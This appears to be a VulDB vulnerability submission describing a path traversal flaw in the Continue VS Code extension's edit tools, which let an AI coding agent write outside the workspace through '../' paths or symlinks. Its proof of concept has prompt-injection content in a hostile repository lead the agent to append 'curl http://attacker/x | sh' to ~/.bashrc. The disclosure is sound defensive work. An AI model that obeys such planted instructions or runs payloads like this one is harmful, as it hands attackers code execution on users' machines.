| 제목 | continuedev continue 2.0.0-vscode Path Traversal |
|---|
| 설명 | The edit tools edit_existing_file, single_find_and_replace and multi_edit resolve their target filepath lexically, with no canonical-path workspace boundary check. The client implementations live in gui/src/util/clientTools/editImpl.ts, singleFindAndReplaceImpl.ts and multiEditImpl.ts. editImpl.ts calls resolveRelativePathInDir(filepath, ide) (it only strips a leading ./ and does an open-file suffix fallback); singleFindAndReplaceImpl.ts and multiEditImpl.ts call validateSearchAndReplaceFilepath() in core/edit/searchAndReplace/validateArgs.ts. None of these apply evaluateFileAccessPolicy and none apply the security/secret gate; unlike create_new_file, the edit tools carry no boundary check at all. Editing is handled on the client (callTool.ts approx line 234), and the apply pipeline adds no check either: applyForEditTool -> applyToFile -> ApplyManager.ensureFileOpen + editor.edit() -> Accept -> ide.saveFile() (gui/.../handleApplyStateUpdate.ts approx line 171; extensions/vscode/src/apply/ApplyManager.ts approx lines 88 and 104).
Because the resolution is lexical, the write target can leave the workspace two ways: (A) plain ../ traversal - validateSearchAndReplaceFilepath("../victim/.bashrc", ide) resolves to the outside path with no boundary error (confirmed dynamically); (B) an in-workspace symlink/junction (vendor -> home) makes vendor/.bashrc a normal-looking in-workspace path whose write lands on the external target. The edit flow defaults to allowedWithPermission (a diff is shown for Accept/Reject), but the approval UI shows only the masked in-workspace path / basename (e.g. .bashrc), never the canonical outside target, and if auto-accept is enabled the write is silent. Writing a startup/config file (~/.bashrc, a shell profile, .git/hooks/*, ~/.ssh/authorized_keys) yields code execution when that file is next used.
Impact: integrity (arbitrary out-of-workspace write); chained to code execution via a startup file.
CVSS 3.1: write primitive AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N = 5.5; code execution (chained) AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8.
Relationship to CVE-2026-8770: same lexical path-boundary class, but 2026-8770 was read/listing only; this is the write side and reaches code execution. May share a root cause with the read-side report (Entry 1).
Proof of concept:
Attacker ships a repository containing an in-workspace junction/symlink vendor -> <victim home> and prompt-injection content. Victim opens the repo and runs the agent.
Step 1: the agent issues single_find_and_replace (or edit_existing_file / multi_edit) on "vendor/.bashrc", appending a payload line such as curl http://attacker/x | sh
Step 2: validateSearchAndReplaceFilepath resolves "vendor/.bashrc" as in-workspace (lexical) and the apply pipeline saves it; the write lands on the real ~/.bashrc outside the workspace.
Step 3: the next interactive shell launch runs the payload = code execution.
Plain-traversal variant (no symlink): edit_existing_file("../victim/.bashrc", <payload>) writes outside directly.
This was reproduced dynamically with the real validateSearchAndReplaceFilepath and resolveRelativePathInDir performing a real filesystem write through a junction (3 tests pass).
Affected: continuedev/continue VS Code extension 2.0.0 (tag v2.0.0-vscode, commit 03b05ef); vulnerable code byte-identical in v2.1.0-vscode and main 5522c6f. Continue was acquired by Cursor in June 2026 and the repository is read-only, so no vendor fix will be issued.
Vendor status: [email protected] contacted 2026-10-14; no response.
Exploit (short)
In-workspace link vendor -> home; the agent edits vendor/.bashrc (or ../victim/.bashrc directly), overwriting the real ~/.bashrc with a payload that runs at the next shell launch = code execution. Reproduced with the real resolver writing through a junction; full PoC on request. |
|---|
| 사용자 | Yujin (UID 102324) |
|---|
| 제출 | 2026. 10. 22. AM 06:36 (29 날 ago) |
|---|
| 모더레이션 | 2026. 11. 20. PM 12:52 (29 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 441419 [continuedev continue 2.0.0/2.1.0 Edit Tool editImpl.ts validateSearchAndReplaceFilepath 디렉토리 순회] |
|---|
| 포인트들 | 17 |
|---|